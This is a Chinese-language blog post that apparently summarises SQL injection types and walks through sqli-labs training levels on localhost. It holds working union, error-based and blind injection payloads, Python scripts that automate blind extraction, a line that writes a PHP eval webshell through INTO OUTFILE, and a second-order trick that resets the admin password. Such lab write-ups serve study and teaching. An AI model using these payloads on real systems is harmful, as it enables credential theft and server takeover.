前言

SQL注入作为经典漏洞面试时经常问到。虽然使用sqlmap,xray等工具已经可以完全覆盖sql注入漏洞的验证到利用,但是为了告别手工测试时只会在参数后面打单引号的尴尬,我决定结合靶场实践对sql注入漏洞做一次全面的总结。


SQL注入产生原理

web应用程序没有对用户输入的合法性做判断,前端传入后端的参数是攻击者可控的,并且后端将参数带入数据库查询。由此攻击者可以构造sql语句对数据库进行操作。

  • 参数用户可控
  • 传入参数拼接到SQL语句,带入数据库查询
  • 应用程序对用户的输入没有进行严格的过滤

SQL注入基础知识

mysql5.0之后,默认有information_schema数据库,其中SCHEMATA 表的SCHEMA_NAME字段记录所有数据库名。

image-20220630183627457

TABLES表的TABLE_SCHEMA字段记录所有数据库名,TABLE_NAME字段记录表名

image-20220630183850167

COLUMNS表的TABLE_SCHEMA TABLE_NAME COLUMN_NAME字段分别记录所有数据库的库名,表名和字段名。

image-20220630184021096

通过运用这三个表进行查询,即可得知全部数据库的库名,表名和字段名。后续可以针对性的进行查询。

image-20220630184244385

注释符

  • Mysql 有三种常用注释符:
1
2
3
4
5
-- 注意,这种注释符后边有一个空格

# 通过#进行注释

/* */ 注释掉符号内的内容

常用函数

  • group_concat() 函数,多条数据变为一条输出

image-20220630215437544

image-20220630215304327

  • limit() 可以控制输出的行数

image-20220701205826363

输出一行,偏移量为0行

image-20220701205901061

  • outfile

outfile函数就是将数据库的查询内容导出到一个外部文件,前提是知道路径

show variables like '%secure%';查看本机数据库的导出目录,如果随便导出到一个文件夹就会报错

image-20220701220038747

secure_file_priv值为空时没有限制,成功写入文件

image-20220701220124350

SQL注入分类

按照参数类型分类:数字型和字符型。

数字型注入

当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。

1
2
3
4
5
6
7
8
9
10
测试步骤:

(1) 加单引号,URL:www.text.com/text.php?id=3’
对应的sql:select * from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;

(2) 加and 1=1 ,URL:www.text.com/text.php?id=3 and 1=1
对应的sql:select * from table where id=3’ and 1=1 语句执行正常,与原始页面如任何差异;

(3) 加and 1=2,URL:www.text.com/text.php?id=3 and 1=2
对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异

如果满足以上三点,则可以判断该URL存在数字型注入。

Less-2

字符型注入

当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。

1
2
字符型sql语句如下:select * from table where name='admin'
在构造payload时通过闭合单引号可以成功执行语句:

Less-1

Union注入

SQL注入sql语句查询有回显时,可以使用Union注入获取数据

  • 出现两个及以上的select
  • select 的列数要相同
  • 可以使用union,列的数据类型必须兼容,兼容的含义是必须数据库可以隐含转换他们的类型

先使用order by确认列数,即可使用union select查询,结果在回显位中

见Less1-4

报错注入

报错注入就是通过人为的引起数据库的报错,但是数据库在报错的同时会将查询的结果也呈现在报错中

报错注入有很多函数可以利用

Less-5,6

  • exp
1
select exp(~(select * from (PAYLOAD)a));

image-20220701213025348

  • updatexml
1
and%20updatexml(1,concat(0x7e,(PAYLOAD),0x7e),1)

image-20220701213605276

要在where之后才执行

  • group by floor 报错(mysql 5 可用)「重复键报错」
1
select 1,count(*),concat(0x3a,0x3a,(PAYLOAD),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a;

image-20220701214211007

原理参考连接

盲注

  • length函数 返回字段长度

image-20220702153949919

  • substr函数 切割字符串

image-20220702154324811

  • ascii函数 将字符转换为ascii码值,一次只能转换一位

image-20220702154640626

Bool盲注

没有回显或报错信息,只会返回正常(True)页面和不正常(False)页面。根据正常不正常的页面返回看是否有注入。

Less-8

时间盲注

响应中没有任何信息,只能通过服务器响应的延时来判断sql语句是否执行。

  • if函数

MySQL中if函数语法如下

1
IF(expr,v1,v2)

其中:表达式 expr 得到不同的结果,当 expr 为真是返回 v1 的值,否则返回 v2.

image-20220702162015999

Less-9

二次注入

二次注入也称为存储型注入,就是将可能导致 SQL 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发 SQL 注入。

二次注入的出现和代码逻辑关系密切。

Less-24

宽字节注入

当数据库采用gbk编码时,由于编码问题,导致数据库吃掉转义引号的反斜杠,从而引发宽字节注入。

宽字节的格式先打一个%df,因为反斜杠的编码是%5c,在GBK编码中,%df%5c是一个繁体字。在这时原本被转义的单引号成功逃逸。

所以理论上只要低位的范围中含有0x5c的编码,就可以进行宽字符注入。

Less-32

堆叠注入

堆叠注入,就是通过;将两个sql语句分开,在执行完第一个语句之后,后面的语句可以由攻击者任意指定,可以执行非查询语句,更改数据库配置,进行UDF提权等操作。该种注入威胁更大。

mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。(有这个函数才能进行堆叠)

不过这种攻击通常不能获得第二条语句的执行结果,可以使用update先写后查来获取数据,或者时间盲注,以及其它外带数据技巧。

Less-38

sqli-labs 靶场

Less-1

上来先打一个单引号,报错

1
2
http://127.0.0.1/sqli/Less-1/?id=1%27
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
1
2
http://127.0.0.1/sqli/Less-1/?id=1%27%20and%201=1--+
正常
1
2
http://127.0.0.1/sqli/Less-1/?id=1%27%20and%201=2--+
不报错,但无结果

通过上文方法可以判断这是一个字符型注入,因此需要闭合单引号

1
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

通过order by获取字段数量,可以判断字段数为3

image-20220630210740196

使用联合查询判断回显位置

1
http://127.0.0.1/sqli/Less-1/?id=-1%27%20union%20select%201,2,3--+

image-20220630212815275

为什么id=-1 才能有回显?

经过测试发现不一定非得是-1,一个极大数字比如1000也可以回显。关于这个问题我上手调试了一下

image-20220630213639489

当第一个select有结果时,返回两条数据。

image-20220630213732638

第一个select无结果时,就只有一条数据了,这样原有的回显位就成了union select的内容。

可惜没把数据库教材带回来,教材关于union select的用法肯定更详细

有了回显便可以构造sql语句查询了

image-20220630214300624

我们现在已经知道了数据库名security,接下来去information_schema.COLUMNS中查询表名和字段名

1
http://127.0.0.1/sqli/Less-1/?id=dds%27%20union%20select%201,(select%20group_concat(TABLE_NAME)%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=%22security%22),user()--+

image-20220630214959998

img

这里出现问题了,我的数据库里不止一张表叫users,导致查出很多字段名,应该再多加一个条件

查询所有用户名和密码

image-20220630220733508

第一关结束

Less-2

1
2
http://127.0.0.1/sqli/Less-2/?id=1%20%20and%201=1--+	正常
http://127.0.0.1/sqli/Less-2/?id=1%20%20and%201=2--+ 不报错 无查询结果

看来第二关是一个数字型的注入,无需闭合单引号。

image-20220630221421399

1
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

将第一关payload的单引号去掉即可

1
http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,(select%20group_concat(TABLE_NAME)%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=%22security%22),user()--+

image-20220630221707361

Less-3

通过报错结果来看,多了一个)

image-20220701204544840

使用')来闭合

1
http://localhost/sqli/Less-3/?id=1%27)%20and%201=1%20--+

image-20220701204756050

1
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

修改paylaod即可

1
http://localhost/sqli/Less-3/?id=-1%27)union%20select%201,(select%20group_concat(TABLE_NAME)%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=%22security%22),user()--+

Less-4

单引号正常没反应,双引号报错

image-20220701210203958

使用 ")闭合

image-20220701210311764

1
2
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
1
2
3
http://localhost/sqli/Less-4/?id=-1%22)%20union%20select%201,(select%20group_concat(password)%20from%20security.users),3--+

http://localhost/sqli/Less-4/?id=-1%22)%20union%20select%201,(select%20password%20from%20security.users%20limit%202,1),3--+

Less-5

没有回显位,要使用报错注入了

http://localhost/sqli/Less-5/?id=3%27%20%20and%20updatexml(1,concat(0x7e,(select%20user()),0x7e),1)--+

image-20220701212555931

替换paylaod即可

1
http://localhost/sqli/Less-5/?id=3%27%20%20and%20updatexml(1,concat(0x7e,(select%20group_concat(password)%20from%20security.users),0x7e),1)--+

image-20220701212732179

Less-6

双引号闭合即可

1
http://localhost/sqli/Less-6/?id=3"%20%20and%20updatexml(1,concat(0x7e,(select%20group_concat(password)%20from%20security.users),0x7e),1)--+

Less-7

不显示具体报错信息了,甚至都找不到怎么闭合,看了源码才知道两个括号

1
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
1
http://localhost/sqli/Less-7/?id=1%27))--+

提示使用outfile,我觉得用bool盲注也可以

1
http://localhost/sqli/Less-7/?id=-1%27))union%20select%201,(select%20group_concat(password)%20from%20security.users),3%20into%20outfile%20%20%22C:\\wamp\\www\\result.txt%22--+

使用group_concat()函数确保前后查询列数一致

image-20220701221621961

还可以写webshell

1
http://localhost/sqli/Less-7/?id=-1%27))union%20select%201,%22%3C?php%20@eval($_GET[%27shell%27]);?%3E%22,3%20into%20outfile%20%20%22C:\\wamp\\www\\result.php%22--+

image-20220701222105666

Less-8

没有任何报错信息,使用单引号闭合后仍然可以使用outfile函数写shell的方式利用。

继续跟着提示来,使用Bool盲注技巧。

先判断数据库名长度

1
2
http://localhost/sqli/Less-8/?id=1%27%20and%20length(database())=7--+ 无查询结果
http://localhost/sqli/Less-8/?id=1%27%20and%20length(database())=8--+ 正常

再使用substr和ascii函数判断数据库名第一位

1
2
http://localhost/sqli/Less-8/?id=1%27%20and%20(ascii(substr(database(),1,1))=114)--+ 无查询结果
http://localhost/sqli/Less-8/?id=1%27%20and%20(ascii(substr(database(),1,1))=115)--+ 正常

可知数据库名第一位是s,以此类推。

盲注利用起来过程十分繁琐,可以写一个脚本自动完成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

payload1 = "http://localhost/sqli/Less-8/?id=1%27%20and%20length(database())={}--+"
payload2 = "http://localhost/sqli/Less-8/?id=1%27%20and%20(ascii(substr(database(),{},1))={})--+"

length =0
for i in range(1,100):
res = requests.get(payload1.format(i))
if "You are in..........." in res.text:
length = i
break
print(length)

for i in range(1,length+1):
for j in range(33,127):
res = requests.get(payload2.format(i,j))
if "You are in..........." in res.text:
print(chr(j),end="")
break

image-20220702160137864

一个很简陋的脚本,要想实现sqlmap那样完全自动化注入还是要下很大功夫的。

Less-9

这一关无论输入什么页面都没变化,使用时间盲注技巧。

1
http://localhost/sqli/Less-9/?id=1%27and%20if(ascii(substr(database(),1,1))=115,%20sleep(5),%200)%20--+

image-20220702162259287

响应时间大于五秒,可知数据库名第一个字符是s

编写脚本利用,使用elapsed.total_seconds()函数获取响应时间

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

payload1 = "http://localhost/sqli/Less-9/?id=1%27%20and%20if(length(user())={},sleep(1),0)--+"
payload = "http://localhost/sqli/Less-9/?id=1%27and%20if(ascii(substr(user(),{},1))={},%20sleep(1),%200)%20--+"

length = 0
for i in range(1,100):
res =requests.get(payload1.format(i))
if res.elapsed.total_seconds()>1:
length = i
break
print(length)
for i in range(1,length+1):
for j in range(33,127):
res = requests.get(payload.format(i,j))
if res.elapsed.total_seconds()>1:
print(chr(j),end="")
break

image-20220702163713799

我的靶场搭建在本地,正常响应非常迅速,所以我将sleep时间设置为1秒。需要根据实际情况设置时间,否则会影响结果。

Less-10

和Less-9一样的时间盲注,用双引号闭合

1
http://localhost/sqli/Less-10/?id=1%22and%20if(ascii(substr(database(),1,1))=115,%20sleep(5),%200)%20--+

Less-11

Union注入,报错注入都可以解决,只不过为POST方法。测试流程,payload和GET方法没有区别。

image-20220702165038472

image-20220702165447462

12-22的注入类型和前几关一样,只是方法为POST,在此不再赘述。

Less-23

过滤了注释符

1
2
3
4
5
6
7
8
9
10
11
12
if(isset($_GET['id']))
{
$id=$_GET['id'];

//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

payload

1
http://localhost/sqli/Less-23/?id=1' and 1='1

查询语句就变成了

1
SELECT * FROM users WHERE id='1' and 1='1' LIMIT 0,1

正常闭合

union注入

1
http://localhost/sqli/Less-23/?id=-1%27%20union%20select%201,(user()),%273

image-20220702171546565

报错注入

1
http://localhost/sqli/Less-23/?id=-1%27%20union%20select%201,(exp(~(select%20*%20from%20(select%20user())a))),%273

image-20220702171947946

Less-24

登录接口用mysql_real_escape_string函数做了处理,引号等特殊符号都被转义了,没有利用方法

1
2
3
4
5
6
7
8
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);

$fp=fopen('result.txt','a');
fwrite($fp,'username:'.$username." password:".$password."\n");
fclose($fp);
output:
username:1\'?\"v\'b\" password:`

问题出在pass_change.php里面

1
2
3
4
5
6
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

这里直接从session中取到username,直接带入到sql语句中,并未有过滤。mysql_real_escape_string函数只是转义,插入到数据库中引号还是存在的。

image-20220702205809990

现在利用思路就有了:

注册一个名为admin'#的用户,进入修改密码界面,这时sql语句就会变成:

1
UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass';

即可实现修改admin用户的密码。

注册用户

image-20220702210909259

修改密码,原有的admin用户密码被修改了。

image-20220702210932182

二次注入和PHP代码审计结合很紧密。

之后是各种过滤bypass关卡,本文重点总结sql注入类型,暂时不研究绕过了。

Less-32

这一关将引号转义了

image-20220702212849204

运用宽字节注入技巧

1
http://localhost/sqli/Less-32/?id=-1%df%27%20union%20select%201,user(),3--+

image-20220702214201886

Less-38

源码中查询语句如下:

1
mysqli_multi_query($con1, $sql);

此时可以使用堆叠注入

1
http://localhost/sqli/Less-38/?id=1%27;select%20%22hack%20by%20luckyfuture%22%20into%20outfile%20%22C:\\wamp\\www\\hack.txt%22--+

成功执行

image-20220702220447027

利用方式

outfile函数写shell

利用条件

  • secure_file_priv值为空,web目录已知

见Less-7

绕过方法

  • 过滤"引号

16进制编码绕过 ,比如这里”)的十六进制为0x2229 最终网站也给我们返回了正确的信息

image-20220701211502623

  • 过滤注释符

再打一个引号手动闭合,见Less-23

总结

从接触信息安全开始,云了4年的SQL注入,面试遇到一顿扯,实战遇到sqlmap一把梭。今天终于动手把所有sql注入类型的原理利用方式复现了一遍。不能说完全透彻了,起码照着漏洞源代码,能判断是什么注入类型,能构造payload。

关于sql注入的利用提权,以及绕过思路,我打算实战中遇到了再详细整理。关于--os-shell和UDF提权我之前写过一篇笔记,当时理解的很肤浅,没有太大参考价值。

以前面试前经常会找一些sql注入的文章来临时看看,当时感觉知识点很多,挺复杂的。但是自己动手复现起来其实并不难,难的是说服自己动手去做。

参考

https://blog.51cto.com/hackedu/3407131

https://ro0t.top/cn/SQL%E6%B3%A8%E5%85%A5/

https://www.cnblogs.com/-qing-/p/11610385.html